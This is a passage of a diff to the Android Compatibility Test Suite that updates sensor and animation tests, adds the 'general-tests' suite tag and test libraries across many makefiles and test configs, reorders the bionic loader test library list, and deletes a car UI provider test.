+            verification.verify(stats);
+            throw new Error("Expected an AssertionError");
+        } catch (AssertionError e) {
+            // Expected;
+        }
+        verifyStats(stats, false, MEANS);
+
+        upperThresholds = new float[]{0.6f, 0.6f, 0.1f};
+        stats = new SensorStats();
+        verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+        try {
+            verification.verify(stats);
+            throw new Error("Expected an AssertionError");
+        } catch (AssertionError e) {
+            // Expected;
+        }
+        verifyStats(stats, false, MEANS);
     }
 
-    private static MeanVerification getVerification(float[] expected, float[] threshold,
-            float[] ... values) {
+    private static MeanVerification getVerification(float[] expected, float[] upperThresholds,
+            float[] lowerThresholds, float[] ... values) {
         Collection<TestSensorEvent> events = new ArrayList<>(values.length);
         for (float[] value : values) {
             events.add(new TestSensorEvent(null, 0, 0, value));
         }
-        MeanVerification verification = new MeanVerification(expected, threshold);
+        MeanVerification verification =
+            new MeanVerification(expected, upperThresholds, lowerThresholds);
         verification.addSensorEvents(events);
         return verification;
     }
@@ -106,6 +151,7 @@
     private void verifyStats(SensorStats stats, boolean passed, float[] means) {
         assertEquals(passed, stats.getValue(MeanVerification.PASSED_KEY));
         float[] actual = (float[]) stats.getValue(SensorStats.MEAN_KEY);
+        assertEquals(means.length, actual.length);
         for (int i = 0; i < means.length; i++) {
             assertEquals(means[i], actual[i], 0.1);
         }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
index b8412a6..a65323d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
@@ -191,7 +191,7 @@
             for (int i = 0; i < indices.length; i++) {
                 assertEquals(indices[i], actualIndices[i]);
             }
-        } catch (Throwable t) {
+        } catch (Exception t) {
         }
     }
 
diff --git a/tests/signature/Android.mk b/tests/signature/Android.mk
index 8502c59..b78fb95 100644
--- a/tests/signature/Android.mk
+++ b/tests/signature/Android.mk
@@ -23,13 +23,14 @@
 LOCAL_PACKAGE_NAME := CtsSignatureTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
     compatibility-device-util \
-    android-support-test
+    android-support-test \
+    legacy-android-test
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 3d67cd8..fed7d66 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_SYSTEM)/base_rules.mk
 $(LOCAL_BUILT_MODULE) : frameworks/base/api/current.txt | $(APICHECK)
@@ -48,7 +48,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_SYSTEM)/base_rules.mk
 $(LOCAL_BUILT_MODULE) : frameworks/base/api/system-current.txt | $(APICHECK)
diff --git a/tests/simplecpu/Android.mk b/tests/simplecpu/Android.mk
index cb13016..1d006e1 100644
--- a/tests/simplecpu/Android.mk
+++ b/tests/simplecpu/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsSimpleCpuTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/simplecpu/jni/Android.mk b/tests/simplecpu/jni/Android.mk
index 877f1b6..73a6fcf 100644
--- a/tests/simplecpu/jni/Android.mk
+++ b/tests/simplecpu/jni/Android.mk
@@ -26,4 +26,6 @@
 
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
index 3f6ad38..f07fe9b 100644
--- a/tests/tests/accounts/Android.mk
+++ b/tests/tests/accounts/Android.mk
@@ -24,6 +24,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     CtsAccountTestsCommon ctstestrunner
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -35,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
index 2a4f8d3..fda4bd0 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsUnaffiliatedAccountAuthenticators
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index 6c74c5c..7810ad8 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/alarmclock/AndroidTest.xml b/tests/tests/alarmclock/AndroidTest.xml
index b4dea87..d6261ce 100644
--- a/tests/tests/alarmclock/AndroidTest.xml
+++ b/tests/tests/alarmclock/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Configuration for AlarmClock Tests">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/alarmclock/common/Android.mk b/tests/tests/alarmclock/common/Android.mk
index ec0022b..7e95cff 100644
--- a/tests/tests/alarmclock/common/Android.mk
+++ b/tests/tests/alarmclock/common/Android.mk
@@ -28,6 +28,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
index 14fdd5d..645393b 100644
--- a/tests/tests/alarmclock/service/Android.mk
+++ b/tests/tests/alarmclock/service/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 2aeac88..31c1253 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -30,13 +30,14 @@
     android-common \
     compatibility-device-util \
     ctstestrunner \
-    platform-test-annotations
+    platform-test-annotations \
+    legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index 91ee76d..9453183 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Animation test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
index 82b54cd..8a5e974 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
@@ -24,6 +24,7 @@
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
 
@@ -38,6 +39,7 @@
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
 import android.view.animation.AccelerateDecelerateInterpolator;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.LinearInterpolator;
@@ -860,6 +862,47 @@
     }
 
     /**
+     * Test that when a child animator is being manipulated outside of an AnimatorSet, by the time
+     * AnimatorSet starts, it will not be affected, and all the child animators would start at their
+     * scheduled start time.
+     */
+    @Test
+    public void testManipulateChildOutsideOfSet() throws Throwable {
+        final ValueAnimator fadeIn = ObjectAnimator.ofFloat(mActivity.view, View.ALPHA, 0f, 1f);
+        fadeIn.setDuration(200);
+        final ValueAnimator fadeOut = ObjectAnimator.ofFloat(mActivity.view, View.ALPHA, 1f, 0f);
+        fadeOut.setDuration(200);
+
+        ValueAnimator.AnimatorUpdateListener listener = mock(
+                ValueAnimator.AnimatorUpdateListener.class);
+        fadeIn.addUpdateListener(listener);
+
+        AnimatorSet show = new AnimatorSet();
+        show.play(fadeIn);
+
+        AnimatorSet hideNShow = new AnimatorSet();
+        hideNShow.play(fadeIn).after(fadeOut);
+
+        mActivityRule.runOnUiThread(() ->
+                show.start()
+        );
+
+        verify(listener, timeout(100).atLeast(2)).onAnimationUpdate(fadeIn);
+
+        AnimatorListenerAdapter adapter = mock(AnimatorListenerAdapter.class);
+        hideNShow.addListener(adapter);
+        // Start hideNShow after fadeIn is started for 100ms
+        mActivityRule.runOnUiThread(() ->
+                hideNShow.start()
+        );
+
+        verify(adapter, timeout(800)).onAnimationEnd(hideNShow, false);
+        // Now that the hideNShow finished we need to check whether the fadeIn animation ran again.
+        assertEquals(1f, mActivity.view.getAlpha(), 0);
+
+    }
+
+    /**
      *
      * This test verifies that custom ValueAnimators will be start()'ed in a set.
      */
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index f8bab5b..5a97450 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
index d710ce8..b85609e 100644
--- a/tests/tests/app/Android.mk
+++ b/tests/tests/app/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java b/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
index f4aa547..a8f1473 100644
--- a/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
+++ b/tests/tests/app/src/android/app/cts/ApplyOverrideConfigurationTest.java
@@ -16,8 +16,6 @@
 package android.app.cts;
 
 import android.app.UiAutomation;
-import android.content.Context;
-import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.support.test.filters.SmallTest;
 import android.test.ActivityInstrumentationTestCase2;
@@ -48,11 +46,6 @@
 
     @SmallTest
     public void testOverriddenConfigurationIsPassedIntoCallback() throws Exception {
-        // This test instruments display rotation; disable it on devices that do not
-        // support auto-rotation.
-        if (!isRotationSupported(getActivity())) {
-            return;
-        }
         final Configuration config = getActivity().getResources().getConfiguration();
         final int originalOrientation = config.orientation;
         assertEquals(ApplyOverrideConfigurationActivity.OVERRIDE_SMALLEST_WIDTH,
@@ -73,17 +66,4 @@
 
         assertEquals(newConfig, callbackConfig);
     }
-
-    /**
-     * Gets whether the device supports rotation. In general such a
-     * device has both portrait and landscape features.
-     *
-     * @param context Context for accessing system resources.
-     * @return Whether the device supports rotation.
-     */
-    public static boolean isRotationSupported(Context context) {
-        PackageManager pm = context.getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)
-                && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
-    }
 }
diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index 077461d..c4abdeb 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk
@@ -32,7 +32,7 @@
     legacy-android-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.mk b/tests/tests/appwidget/packages/launchermanifest/Android.mk
index 9746d2b..01a48d5 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.mk
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher1
 
@@ -54,7 +54,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher2
 
@@ -75,7 +75,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher3
 
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
index 9b7d774..49ec503 100644
--- a/tests/tests/assist/Android.mk
+++ b/tests/tests/assist/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner compatibility-device-util
 
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
index 9b9ed84..de3fdca 100644
--- a/tests/tests/assist/service/Android.mk
+++ b/tests/tests/assist/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsAssistService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/assist/testapp/Android.mk b/tests/tests/assist/testapp/Android.mk
index f21fc39..284da7b 100644
--- a/tests/tests/assist/testapp/Android.mk
+++ b/tests/tests/assist/testapp/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsAssistApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
index efd7e93..adce804 100644
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -16,65 +16,73 @@
   dt_runpath_b_c_x/libtest_dt_runpath_b.so \
   dt_runpath_b_c_x/libtest_dt_runpath_c.so \
   dt_runpath_b_c_x/libtest_dt_runpath_x.so \
+  inaccessible_libs/libtestshared.so \
+  inaccessible_libs/libtestshared.so \
+  ld_config_test_helper/ld_config_test_helper \
+  ld_config_test_helper_lib3.so \
+  ld_preload_test_helper/ld_preload_test_helper \
+  ld_preload_test_helper_lib1.so \
+  ld_preload_test_helper_lib2.so \
   libatest_simple_zip/libatest_simple_zip.so \
-  libcfi-test.so \
   libcfi-test-bad.so \
+  libcfi-test.so \
+  libdl_preempt_test_1.so \
+  libdl_preempt_test_2.so \
+  libdl_test_df_1_global.so \
+  libdlext_test.so \
   libdlext_test_different_soname.so \
   libdlext_test_fd/libdlext_test_fd.so \
   libdlext_test_norelro.so \
   libdlext_test_runpath_zip/libdlext_test_runpath_zip_zipaligned.zip \
-  libdlext_test.so \
   libdlext_test_zip/libdlext_test_zip.so \
   libdlext_test_zip/libdlext_test_zip_zipaligned.zip \
-  libdl_preempt_test_1.so \
-  libdl_preempt_test_2.so \
-  libdl_test_df_1_global.so \
   libsysv-hash-table-library.so \
   libtest_atexit.so \
+  libtest_check_order_dlsym.so \
   libtest_check_order_dlsym_1_left.so \
   libtest_check_order_dlsym_2_right.so \
   libtest_check_order_dlsym_3_c.so \
   libtest_check_order_dlsym_a.so \
   libtest_check_order_dlsym_b.so \
   libtest_check_order_dlsym_d.so \
-  libtest_check_order_dlsym.so \
+  libtest_check_order_reloc_root.so \
   libtest_check_order_reloc_root_1.so \
   libtest_check_order_reloc_root_2.so \
-  libtest_check_order_reloc_root.so \
+  libtest_check_order_reloc_siblings.so \
   libtest_check_order_reloc_siblings_1.so \
   libtest_check_order_reloc_siblings_2.so \
   libtest_check_order_reloc_siblings_3.so \
   libtest_check_order_reloc_siblings_a.so \
   libtest_check_order_reloc_siblings_b.so \
+  libtest_check_order_reloc_siblings_c.so \
   libtest_check_order_reloc_siblings_c_1.so \
   libtest_check_order_reloc_siblings_c_2.so \
-  libtest_check_order_reloc_siblings_c.so \
   libtest_check_order_reloc_siblings_d.so \
   libtest_check_order_reloc_siblings_e.so \
   libtest_check_order_reloc_siblings_f.so \
-  libtest_check_order_reloc_siblings.so \
   libtest_check_rtld_next_from_library.so \
-  libtest_dlopen_from_ctor_main.so \
+  libtest_dlopen_df_1_global.so \
   libtest_dlopen_from_ctor.so \
+  libtest_dlopen_from_ctor_main.so \
   libtest_dlopen_weak_undefined_func.so \
   libtest_dlsym_df_1_global.so \
+  libtest_dlsym_from_this.so \
   libtest_dlsym_from_this_child.so \
   libtest_dlsym_from_this_grandchild.so \
-  libtest_dlsym_from_this.so \
   libtest_dlsym_weak_func.so \
   libtest_dt_runpath_d.so \
   libtest_empty.so \
   libtest_init_fini_order_child.so \
   libtest_init_fini_order_grand_child.so \
-  libtest_init_fini_order_root2.so \
   libtest_init_fini_order_root.so \
+  libtest_init_fini_order_root2.so \
   libtest_nodelete_1.so \
   libtest_nodelete_2.so \
   libtest_nodelete_dt_flags_1.so \
   libtest_pthread_atfork.so \
+  libtest_relo_check_dt_needed_order.so \
   libtest_relo_check_dt_needed_order_1.so \
   libtest_relo_check_dt_needed_order_2.so \
-  libtest_relo_check_dt_needed_order.so \
   libtest_simple.so \
   libtest_two_parents_child.so \
   libtest_two_parents_parent1.so \
@@ -82,34 +90,36 @@
   libtest_versioned_lib.so \
   libtest_versioned_libv1.so \
   libtest_versioned_libv2.so \
-  libtest_versioned_otherlib_empty.so \
   libtest_versioned_otherlib.so \
+  libtest_versioned_otherlib_empty.so \
   libtest_versioned_uselibv1.so \
-  libtest_versioned_uselibv2_other.so \
   libtest_versioned_uselibv2.so \
+  libtest_versioned_uselibv2_other.so \
   libtest_versioned_uselibv3_other.so \
+  libtest_with_dependency.so \
+  libtest_with_dependency_loop.so \
   libtest_with_dependency_loop_a.so \
   libtest_with_dependency_loop_b.so \
   libtest_with_dependency_loop_b_tmp.so \
   libtest_with_dependency_loop_c.so \
-  libtest_with_dependency_loop.so \
-  libtest_with_dependency.so \
+  ns2/ld_config_test_helper_lib1.so \
+  ns2/ld_config_test_helper_lib2.so \
   prebuilt-elf-files/libtest_invalid-empty_shdr_table.so \
   prebuilt-elf-files/libtest_invalid-rw_load_segment.so \
+  prebuilt-elf-files/libtest_invalid-textrels.so \
+  prebuilt-elf-files/libtest_invalid-textrels2.so \
   prebuilt-elf-files/libtest_invalid-unaligned_shdr_offset.so \
   prebuilt-elf-files/libtest_invalid-zero_shdr_table_content.so \
   prebuilt-elf-files/libtest_invalid-zero_shdr_table_offset.so \
   prebuilt-elf-files/libtest_invalid-zero_shentsize.so \
   prebuilt-elf-files/libtest_invalid-zero_shstrndx.so \
-  prebuilt-elf-files/libtest_invalid-textrels.so \
-  prebuilt-elf-files/libtest_invalid-textrels2.so \
   preinit_getauxval_test_helper/preinit_getauxval_test_helper \
   preinit_syscall_test_helper/preinit_syscall_test_helper \
-  private_namespace_libs_external/libnstest_private_external.so \
   private_namespace_libs/libnstest_dlopened.so \
   private_namespace_libs/libnstest_private.so \
-  private_namespace_libs/libnstest_root_not_isolated.so \
   private_namespace_libs/libnstest_root.so \
+  private_namespace_libs/libnstest_root_not_isolated.so \
+  private_namespace_libs_external/libnstest_private_external.so \
   public_namespace_libs/libnstest_public.so \
   public_namespace_libs/libnstest_public_internal.so \
 
@@ -117,6 +127,8 @@
 my_bionic_testlib_files_non_mips := \
   libgnu-hash-table-library.so \
   libtest_ifunc.so \
+  libtest_ifunc_variable.so \
+  libtest_ifunc_variable_impl.so \
 
 my_bionic_testlibs_src_dir := \
   $($(cts_bionic_tests_2nd_arch_prefix)TARGET_OUT_DATA_NATIVE_TESTS)/bionic-loader-test-libs
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index 6c4009c..cf07f55 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -7,6 +7,8 @@
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
+LOCAL_CFLAGS := -Wall -Werror
+
 LOCAL_LDFLAGS := -Wl,--rpath,\$${ORIGIN}/lib/bionic-loader-test-libs -Wl,--enable-new-dtags -Wl,--export-dynamic
 
 LOCAL_SHARED_LIBRARIES += \
@@ -39,15 +41,17 @@
 LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.bionic
 
 cts_bionic_tests_2nd_arch_prefix :=
 include $(LOCAL_PATH)/Android.build.copy.libs.mk
-ifneq ($(TARGET_2ND_ARCH),)
-  cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
-  include $(LOCAL_PATH)/Android.build.copy.libs.mk
+ifneq ($(TARGET_TRANSLATE_2ND_ARCH),true)
+  ifneq ($(TARGET_2ND_ARCH),)
+    cts_bionic_tests_2nd_arch_prefix := $(TARGET_2ND_ARCH_VAR_PREFIX)
+    include $(LOCAL_PATH)/Android.build.copy.libs.mk
+  endif
 endif
 
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/bluetooth/Android.mk b/tests/tests/bluetooth/Android.mk
index c02b23d..0060a38 100644
--- a/tests/tests/bluetooth/Android.mk
+++ b/tests/tests/bluetooth/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 LOCAL_JAVA_LIBRARIES += android.test.runner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -32,6 +32,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index 971d011..04f7f36 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Bluetooth test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="bluetooth" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index 7a8296c..9d7091a 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -27,11 +27,13 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index cebd099..246409b 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,14 +24,14 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.car
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index 0516a87..c931169 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Automotive test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="auto" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java b/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
deleted file mode 100644
index 4dcccde..0000000
--- a/tests/tests/car/src/android/car/cts/CarUiProviderTest.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.car.cts;
-
-import android.car.app.menu.CarMenuCallbacks;
-import android.car.app.menu.SearchBoxEditListener;
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.graphics.Bitmap;
-import android.os.Bundle;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.util.Log;
-import android.view.View;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Test the existence of compatibility apis in the car ui provider.
- *
- * This test will only be run on devices with automotive feature.
- */
-
-@SmallTest
-@RequiresDevice
-public class CarUiProviderTest extends AndroidTestCase {
-    private static final String TAG = "CarUiProviderTest";
